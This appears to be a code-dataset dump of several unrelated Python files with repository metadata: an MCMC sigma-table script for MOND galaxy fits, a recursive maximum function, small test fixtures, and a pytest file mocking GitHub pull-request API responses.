s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC11557 low=log10_YD_sol_UGC11557-stats_UGC11557.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC11557.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC11557 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11557-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11557-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC11557 low=df2_sol_UGC11557-stats_UGC11557.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC11557.parWithName('df2').limits[i].upper- df2_sol_UGC11557 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11557-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11557-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC11557 low=Dinc_sol_UGC11557-stats_UGC11557.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC11557.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC11557 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11557-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC11820 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC11820.csv',usecols=[1,2,3,4]) data_array_chain_UGC11820 = numpy.array(full_chain_UGC11820) mle_soln_UGC11820=[] for i in range(ndim): mcmc_UGC11820 = numpy.percentile(data_array_chain_UGC11820[:, i], [16, 50, 84]) q_UGC11820 = numpy.diff(mcmc_UGC11820) mle_soln_UGC11820.append(mcmc_UGC11820[1]) log10_a0_sol_UGC11820=mle_soln_UGC11820[0] log10_YD_sol_UGC11820=mle_soln_UGC11820[1] df2_sol_UGC11820=mle_soln_UGC11820[2] Dinc_sol_UGC11820=mle_soln_UGC11820[3] samp_UGC11820 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC11820,names = names, labels = labels) samp_UGC11820.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC11820 = samp_UGC11820.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11820-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC11820 low=log10_a0_sol_UGC11820-stats_UGC11820.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC11820.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC11820 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11820-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11820-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC11820 low=log10_YD_sol_UGC11820-stats_UGC11820.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC11820.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC11820 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11820-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11820-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC11820 low=df2_sol_UGC11820-stats_UGC11820.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC11820.parWithName('df2').limits[i].upper- df2_sol_UGC11820 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11820-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11820-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC11820 low=Dinc_sol_UGC11820-stats_UGC11820.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC11820.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC11820 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11820-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC11914 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC11914.csv',usecols=[1,2,3,4,5]) data_array_chain_UGC11914 = numpy.array(full_chain_UGC11914) mle_soln_UGC11914=[] for i in range(ndim_with_bulge): mcmc_UGC11914 = numpy.percentile(data_array_chain_UGC11914[:, i], [16, 50, 84]) q_UGC11914 = numpy.diff(mcmc_UGC11914) mle_soln_UGC11914.append(mcmc_UGC11914[1]) log10_a0_sol_UGC11914=mle_soln_UGC11914[0] log10_YD_sol_UGC11914=mle_soln_UGC11914[1] log10_YB_sol_UGC11914=mle_soln_UGC11914[2] df2_sol_UGC11914=mle_soln_UGC11914[3] Dinc_sol_UGC11914=mle_soln_UGC11914[4] samp_UGC11914 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC11914,names = names_with_bulge, labels = labels_with_bulge) samp_UGC11914.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC11914 = samp_UGC11914.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11914-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC11914 low=log10_a0_sol_UGC11914-stats_UGC11914.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC11914.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC11914 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11914-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11914-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC11914 low=log10_YD_sol_UGC11914-stats_UGC11914.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC11914.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC11914 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11914-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11914-sigmatab-log10_YB.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YB_sol_str='%s'%log10_YB_sol_UGC11914 low=log10_YB_sol_UGC11914-stats_UGC11914.parWithName('log10_YB').limits[i].lower low_str='%s'%low up=stats_UGC11914.parWithName('log10_YB').limits[i].upper- log10_YB_sol_UGC11914 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11914-sigmatab-log10_YB.txt', 'a') text_file.write(log10_YB_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11914-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC11914 low=df2_sol_UGC11914-stats_UGC11914.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC11914.parWithName('df2').limits[i].upper- df2_sol_UGC11914 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11914-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11914-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC11914 low=Dinc_sol_UGC11914-stats_UGC11914.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC11914.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC11914 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC11914-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC12506 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC12506.csv',usecols=[1,2,3,4]) data_array_chain_UGC12506 = numpy.array(full_chain_UGC12506) mle_soln_UGC12506=[] for i in range(ndim): mcmc_UGC12506 = numpy.percentile(data_array_chain_UGC12506[:, i], [16, 50, 84]) q_UGC12506 = numpy.diff(mcmc_UGC12506) mle_soln_UGC12506.append(mcmc_UGC12506[1]) log10_a0_sol_UGC12506=mle_soln_UGC12506[0] log10_YD_sol_UGC12506=mle_soln_UGC12506[1] df2_sol_UGC12506=mle_soln_UGC12506[2] Dinc_sol_UGC12506=mle_soln_UGC12506[3] samp_UGC12506 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC12506,names = names, labels = labels) samp_UGC12506.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC12506 = samp_UGC12506.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12506-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC12506 low=log10_a0_sol_UGC12506-stats_UGC12506.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC12506.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC12506 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12506-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12506-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC12506 low=log10_YD_sol_UGC12506-stats_UGC12506.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC12506.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC12506 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12506-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12506-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC12506 low=df2_sol_UGC12506-stats_UGC12506.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC12506.parWithName('df2').limits[i].upper- df2_sol_UGC12506 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12506-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12506-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC12506 low=Dinc_sol_UGC12506-stats_UGC12506.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC12506.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC12506 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12506-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() full_chain_UGC12632 = pd.read_csv('/home/alefe/Cluster/MOND_outputs/chain_UGC12632.csv',usecols=[1,2,3,4]) data_array_chain_UGC12632 = numpy.array(full_chain_UGC12632) mle_soln_UGC12632=[] for i in range(ndim): mcmc_UGC12632 = numpy.percentile(data_array_chain_UGC12632[:, i], [16, 50, 84]) q_UGC12632 = numpy.diff(mcmc_UGC12632) mle_soln_UGC12632.append(mcmc_UGC12632[1]) log10_a0_sol_UGC12632=mle_soln_UGC12632[0] log10_YD_sol_UGC12632=mle_soln_UGC12632[1] df2_sol_UGC12632=mle_soln_UGC12632[2] Dinc_sol_UGC12632=mle_soln_UGC12632[3] samp_UGC12632 = getdist.mcsamples.MCSamples(samples=data_array_chain_UGC12632,names = names, labels = labels) samp_UGC12632.updateSettings({'contours': [0.682689492137086, 0.954499736103642,0.997300203936740,0.999936657516334,0.999999426696856]}) stats_UGC12632 = samp_UGC12632.getMargeStats() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12632-sigmatab-log10_a0.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_a0_sol_str='%s'%log10_a0_sol_UGC12632 low=log10_a0_sol_UGC12632-stats_UGC12632.parWithName('log10_a0').limits[i].lower low_str='%s'%low up=stats_UGC12632.parWithName('log10_a0').limits[i].upper- log10_a0_sol_UGC12632 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12632-sigmatab-log10_a0.txt', 'a') text_file.write(log10_a0_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12632-sigmatab-log10_YD.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): log10_YD_sol_str='%s'%log10_YD_sol_UGC12632 low=log10_YD_sol_UGC12632-stats_UGC12632.parWithName('log10_YD').limits[i].lower low_str='%s'%low up=stats_UGC12632.parWithName('log10_YD').limits[i].upper- log10_YD_sol_UGC12632 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12632-sigmatab-log10_YD.txt', 'a') text_file.write(log10_YD_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12632-sigmatab-df2.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): df2_sol_str='%s'%df2_sol_UGC12632 low=df2_sol_UGC12632-stats_UGC12632.parWithName('df2').limits[i].lower low_str='%s'%low up=stats_UGC12632.parWithName('df2').limits[i].upper- df2_sol_UGC12632 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12632-sigmatab-df2.txt', 'a') text_file.write(df2_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close() text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12632-sigmatab-Dinc.txt', 'w') text_file.write('max s- s+ - rows are 1,2,3,4,5 sigmas\n') text_file.close() for i in range(5): Dinc_sol_str='%s'%Dinc_sol_UGC12632 low=Dinc_sol_UGC12632-stats_UGC12632.parWithName('Dinc').limits[i].lower low_str='%s'%low up=stats_UGC12632.parWithName('Dinc').limits[i].upper- Dinc_sol_UGC12632 up_str='%s'%up text_file = open('/home/alefe/Cluster/MOND_GetDist_corner/UGC12632-sigmatab-Dinc.txt', 'a') text_file.write(Dinc_sol_str + ',' + low_str + ',' + up_str + '\n') text_file.close()

44.012414

136

0.751393

17,070

102,813

4.220152

0.010076

0.081957

0.061301

0.076626

0.869152

0.790097

0.762528

0.716178

0.715012

0.667245

0

0.143353

0.0896

102,813

2,335

137

44.031263

0.626275

0.001965

0

0.462617

0

0.261098

0.178412

0

1

0

false

0

0.009346

0

0.009346

0.001038

0

null

0

1

0

null

0

6

d186b3e5b9494bc4144cf5bcb8328e00161a73d8

145

py

Python

Ejercicios/Maximo Recursivo/maximo.py

FR98/Cuarto-Compu

3824d0089562bccfbc839d9979809bc7a0fe4684

[ "MIT" ]

1

2022-03-20T12:57:04.000Z

Ejercicios/Maximo Recursivo/maximo.py

FR98/cuarto-compu

3824d0089562bccfbc839d9979809bc7a0fe4684

[ "MIT" ]

null

Ejercicios/Maximo Recursivo/maximo.py

FR98/cuarto-compu

3824d0089562bccfbc839d9979809bc7a0fe4684

[ "MIT" ]

null

def maximo(lista): if len(lista) == 1: return lista[0] if lista[0] > maximo(lista[1:]): return lista[0] else: return maximo(lista[1:])

16.111111

33

0.627586

24

145

3.791667

0.375

0.362637

0.263736

0.373626

0.395604

0

0.050847

0.186207

145

8

34

18.125

0.720339

0

0.285714

0

1

0.142857

false

0

0.571429

0

1

0

null

1

0

1

0

null

0

1

0

6

d1c577819639e104619309bbc1fdbba5b042f6ac

36

py

Python

testify/errors.py

bukzor/Testify

e0054959b9be13851b937ec90533c183e9b2ba71

[ "Apache-2.0" ]

1

2020-12-18T01:07:23.000Z

testify/errors.py

dnephin/Testify

9005a8866cbf099c26e6fbd74c3e2640a581a55b

[ "Apache-2.0" ]

null

testify/errors.py

dnephin/Testify

9005a8866cbf099c26e6fbd74c3e2640a581a55b

[ "Apache-2.0" ]

null

class TestifyError(Exception): pass

18

35

0.833333

4

36

7.5

1

0

0.083333

36

1

36

0.909091

0

1

0

true

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

d1d17a4382ff8f330d67a4e6b6ba0f9e76e8f2e2

39

py

Python

test/integration/expected_out_single_line/percent_strings.py

Inveracity/flynt

b975b6f61893d5db1114d68fbb5d212c4e11aeb8

[ "MIT" ]

487

2019-06-10T17:44:56.000Z

2022-03-26T01:28:19.000Z

test/integration/expected_out_single_line/percent_strings.py

Inveracity/flynt

b975b6f61893d5db1114d68fbb5d212c4e11aeb8

[ "MIT" ]

118

2019-07-03T12:26:39.000Z

2022-03-06T22:40:17.000Z

test/integration/expected_out_single_line/percent_strings.py

Inveracity/flynt

b975b6f61893d5db1114d68fbb5d212c4e11aeb8

[ "MIT" ]

25

2019-07-10T08:39:58.000Z

2022-03-03T14:44:15.000Z

a = 'abra' print(f'{a!r} {a} {a!a}')

7.8

25

0.410256

9

39

1.777778

0.555556

0.25

0

0.205128

39

4

26

9.75

0.516129

0

0.513514

0

1

0

false

0

0.5

1

null

1

0

1

0

null

0

1

0

6

d1eca4c564425fc8b8a68d75db8fb43554b66660

22,738

py

Python

content-repo/get_top_contrib_test.py

marcellarichmond/content-docs

b3e1c9ac4cf34e7ffa51775c253231b30692e03c

[ "MIT" ]

24

2019-12-05T20:22:50.000Z

2022-02-24T14:54:03.000Z

content-repo/get_top_contrib_test.py

marcellarichmond/content-docs

b3e1c9ac4cf34e7ffa51775c253231b30692e03c

[ "MIT" ]

901

2019-12-05T16:07:04.000Z

2022-03-31T13:39:26.000Z

content-repo/get_top_contrib_test.py

marcellarichmond/content-docs

b3e1c9ac4cf34e7ffa51775c253231b30692e03c

[ "MIT" ]

39

2019-12-05T15:52:34.000Z

2022-02-24T14:54:06.000Z

from gen_top_contrib import get_external_prs, get_contributors_users, get_github_user, create_grid INNER_PR_RESPONSE = [{ "url": "https://api.github.com/repos/demisto/content/pulls/13801", "id": 694456100, "node_id": "MDExOlB1bGxSZXF1ZXN0Njk0NDU2MTAw", "html_url": "https://github.com/demisto/content/pull/13801", "issue_url": "https://api.github.com/repos/demisto/content/issues/13801", "number": 13801, "state": "closed", "locked": False, "title": "Test PR", "user": { "login": "powershelly", "id": 87646651, "node_id": "MDQ6VXNlcjg3NjQ2NjUx", "avatar_url": "https://avatars.githubusercontent.com/u/testurl", "url": "https://api.github.com/users/powershelly", "html_url": "https://github.com/powershelly", "received_events_url": "https://api.github.com/users/powershelly/received_events", "type": "User", "site_admin": False }, "body": "## Status\r\n- [ ] In Progress\r\n- [x] Ready\r\n- [ ] In Hold - (Reason for hold)", "created_at": "2021-07-21T14:56:40Z", "updated_at": "2021-07-25T12:58:30Z", "closed_at": "2021-07-25T12:58:30Z", "merged_at": "2021-07-25T12:58:30Z", "merge_commit_sha": "4c5ea28581b084f5ee7bb4847a2df4c2c111111d", "assignee": { "login": "testUser", "id": 986532147, "node_id": "MDQ6VXNlcjU5NDA4NzQ1", "avatar_url": "https://avatars.githubusercontent.com/u/59408745?v=4", "url": "https://api.github.com/users/testUser", "html_url": "https://github.com/testUser", "subscriptions_url": "https://api.github.com/users/testUser/subscriptions", "organizations_url": "https://api.github.com/users/testUser/orgs", "repos_url": "https://api.github.com/users/testUser/repos", "type": "User", "site_admin": False }, "assignees": [ { "login": "testUser", "id": 59408745, "node_id": "MDQ6VXNlcjU5NDA4NzQ1", "avatar_url": "https://avatars.githubusercontent.com/u/59408745?v=4", "gravatar_id": "", "url": "https://api.github.com/users/testUser", "html_url": "https://github.com/testUser", "type": "User", "site_admin": False } ], "commits_url": "https://api.github.com/repos/demisto/content/pulls/13801/commits", "head": { "label": "powershelly:fix_task_run_full_action_report", "ref": "fix_task_run_full_action_report", "sha": "df2219695109f309ac7a7cce1d84b6fd4c222222", "user": { "login": "powershelly", "id": 87646651, "node_id": "MDQ6VXNlcjg3NjQ2NjUx", "avatar_url": "https://avatars.githubusercontent.com/u/testurl", "url": "https://api.github.com/users/powershelly", "html_url": "https://github.com/powershelly", "followers_url": "https://api.github.com/users/powershelly/followers", "type": "User", "site_admin": False }, "repo": { "id": 123456789, "node_id": "MDEwOlJlcG9zaXRvcnkzODc0Mjk1MzM=", "name": "content", "full_name": "powershelly/content", "private": False, "owner": { "login": "powershelly", "id": 123456, "node_id": "MDQ6VXNlcjg3NjQ2NjUx", "avatar_url": "https://avatars.githubusercontent.com/u/testurl", "gravatar_id": "", "url": "https://api.github.com/users/powershelly", "html_url": "https://github.com/powershelly", "type": "User", "site_admin": False }, "html_url": "https://github.com/powershelly/content", "description": "Demisto is now Cortex XSOAR. Automate and orchestrate your Security " "Operations with Cortex XSOAR's ever-growing Content Repository. " "Pull Requests are always welcome and highly appreciated! ", "fork": False, "url": "https://api.github.com/repos/powershelly/content", "forks_url": "https://api.github.com/repos/powershelly/content/forks", "created_at": "2021-07-19T10:45:06Z", "updated_at": "2021-07-19T10:45:07Z", "pushed_at": "2021-07-25T12:26:44Z", "git_url": "git://github.com/powershelly/content.git", "ssh_url": "git@github.com:powershelly/content.git", "clone_url": "https://github.com/powershelly/content.git", "svn_url": "https://github.com/powershelly/content", "homepage": "https://xsoar.pan.dev/", "default_branch": "master" } }, "base": { "label": "demisto:contrib/powershelly_fix_task_run_full_action_report", "ref": "contrib/powershelly_fix_task_run_full_action_report", "sha": "36f065eab202be6888a5ff208b1a47159af771be", "user": { "login": "demisto", "id": 2345678, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMDExNzY3", "avatar_url": "https://avatars.githubusercontent.com/u/11011767?v=4", "gravatar_id": "", "url": "https://api.github.com/users/demisto", "html_url": "https://github.com/demisto", "followers_url": "https://api.github.com/users/demisto/followers", "type": "Organization", "site_admin": False }, "repo": { "id": 123456, "node_id": "MDEwOlJlcG9zaXRvcnk2MDUyNTM5Mg==", "name": "content", "full_name": "demisto/content", "private": False, "owner": { "login": "demisto", "id": 1234123456, "node_id": "MDEyOk9yZ2FuaXphdGlvbjExMDExNzY3", "avatar_url": "https://avatars.githubusercontent.com/u/11011767?v=4", "url": "https://api.github.com/users/demisto", "html_url": "https://github.com/demisto", "type": "Organization", "site_admin": False }, "html_url": "https://github.com/demisto/content", "description": "Demisto is now Cortex XSOAR. Automate and orchestrate your Security Operations with " "Cortex XSOAR's ever-growing Content Repository. " "Pull Requests are always welcome and highly appreciated! ", "fork": False, "url": "https://api.github.com/repos/demisto/content", "created_at": "2016-06-06T12:17:02Z", "updated_at": "2021-07-25T16:13:16Z", "pushed_at": "2021-07-25T18:59:42Z", "homepage": "https://xsoar.pan.dev/", "forks": 744, "open_issues": 122, "watchers": 661, "default_branch": "master" } }, "author_association": "CONTRIBUTOR", "merged": True, "merged_by": { "login": "testUser", "id": 59408745, "node_id": "MDQ6VXNlcjU5NDA4NzQ1", "avatar_url": "https://avatars.githubusercontent.com/u/59408745?v=4", "gravatar_id": "", "url": "https://api.github.com/users/testUser", "html_url": "https://github.com/testUser", "type": "User", "site_admin": False } }] def test_get_contrib_prs(): """ Given: - Mock response data - list of external prs. When: - running the get_contrib_prs function Then: - Validate that the inner pr numbers returns. """ mock_response = [ { "url": "https://api.github.com/repos/demisto/content/issues/13834", "html_url": "https://github.com/demisto/content/pull/13834", "id": 952269617, "node_id": "MDExOlB1bGxSZXF1ZXN0Njk2NDk4MDM3", "number": 13834, "title": "Test PR", "user": { "login": "content-bot", "id": 55035720, "node_id": "MDQ6VXNlcjU1MDM1NzIw", "avatar_url": "https://avatars.githubusercontent.com/u/55035720?v=4", "gravatar_id": "", "url": "https://api.github.com/users/content-bot", "html_url": "https://github.com/content-bot", "followers_url": "https://api.github.com/users/content-bot/followers", "following_url": "https://api.github.com/users/content-bot/following{/other_user}", "gists_url": "https://api.github.com/users/content-bot/gists{/gist_id}", "starred_url": "https://api.github.com/users/content-bot/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/content-bot/subscriptions", "organizations_url": "https://api.github.com/users/content-bot/orgs", "repos_url": "https://api.github.com/users/content-bot/repos", "events_url": "https://api.github.com/users/content-bot/events{/privacy}", "received_events_url": "https://api.github.com/users/content-bot/received_events", "type": "User", "site_admin": False }, "state": "closed", "locked": False, "assignee": { "login": "testUser", "id": 59408745, "node_id": "MDQ6VXNlcjU5NDA4NzQ1", "avatar_url": "https://avatars.githubusercontent.com/u/59408745?v=4", "gravatar_id": "", "url": "https://api.github.com/users/testUser", "html_url": "https://github.com/testUser", "followers_url": "https://api.github.com/users/testUser/followers", "following_url": "https://api.github.com/users/testUser/following{/other_user}", "gists_url": "https://api.github.com/users/testUser/gists{/gist_id}", "starred_url": "https://api.github.com/users/testUser/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/testUser/subscriptions", "organizations_url": "https://api.github.com/users/testUser/orgs", "repos_url": "https://api.github.com/users/testUser/repos", "events_url": "https://api.github.com/users/testUser/events{/privacy}", "received_events_url": "https://api.github.com/users/testUser/received_events", "type": "User", "site_admin": False }, "assignees": [ { "login": "testUser", "id": 59408745, "node_id": "MDQ6VXNlcjU5NDA4NzQ1", "avatar_url": "https://avatars.githubusercontent.com/u/59408745?v=4", "gravatar_id": "", "url": "https://api.github.com/users/testUser", "html_url": "https://github.com/testUser", "followers_url": "https://api.github.com/users/testUser/followers", "following_url": "https://api.github.com/users/testUser/following{/other_user}", "gists_url": "https://api.github.com/users/testUser/gists{/gist_id}", "starred_url": "https://api.github.com/users/testUser/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/testUser/subscriptions", "organizations_url": "https://api.github.com/users/testUser/orgs", "repos_url": "https://api.github.com/users/testUser/repos", "events_url": "https://api.github.com/users/testUser/events{/privacy}", "received_events_url": "https://api.github.com/users/testUser/received_events", "type": "User", "site_admin": False } ], "milestone": "None", "comments": 0, "created_at": "2021-07-25T12:59:32Z", "updated_at": "2021-07-25T16:13:12Z", "closed_at": "2021-07-25T16:13:11Z", "author_association": "MEMBER", "active_lock_reason": "None", "draft": False, "pull_request": { "url": "https://api.github.com/repos/demisto/content/pulls/13834", "html_url": "https://github.com/demisto/content/pull/13834", "diff_url": "https://github.com/demisto/content/pull/13834.diff", "patch_url": "https://github.com/demisto/content/pull/13834.patch" }, "body": "## Original External PR\r\n[external pull request](https://github.com/demisto/content/pull/13801)" "\r\n\r\n## Status\r\n- [ ] In Progress\r\n- [x] Ready\r\n- [ ] In Hold - (Reason for hold)\r\n\r\n" }, { "url": "https://api.github.com/repos/demisto/content/issues/13829", "repository_url": "https://api.github.com/repos/demisto/content", "labels_url": "https://api.github.com/repos/demisto/content/issues/13829/labels{/name}", "comments_url": "https://api.github.com/repos/demisto/content/issues/13829/comments", "events_url": "https://api.github.com/repos/demisto/content/issues/13829/events", "html_url": "https://github.com/demisto/content/pull/13829", "id": 952208287, "node_id": "MDExOlB1bGxSZXF1ZXN0Njk2NDUxMTE1", "number": 13829, "title": "Another test PR", "user": { "login": "content-bot", "id": 55035720, "node_id": "MDQ6VXNlcjU1MDM1NzIw", "avatar_url": "https://avatars.githubusercontent.com/u/55035720?v=4", "gravatar_id": "", "url": "https://api.github.com/users/content-bot", "html_url": "https://github.com/content-bot", "followers_url": "https://api.github.com/users/content-bot/followers", "following_url": 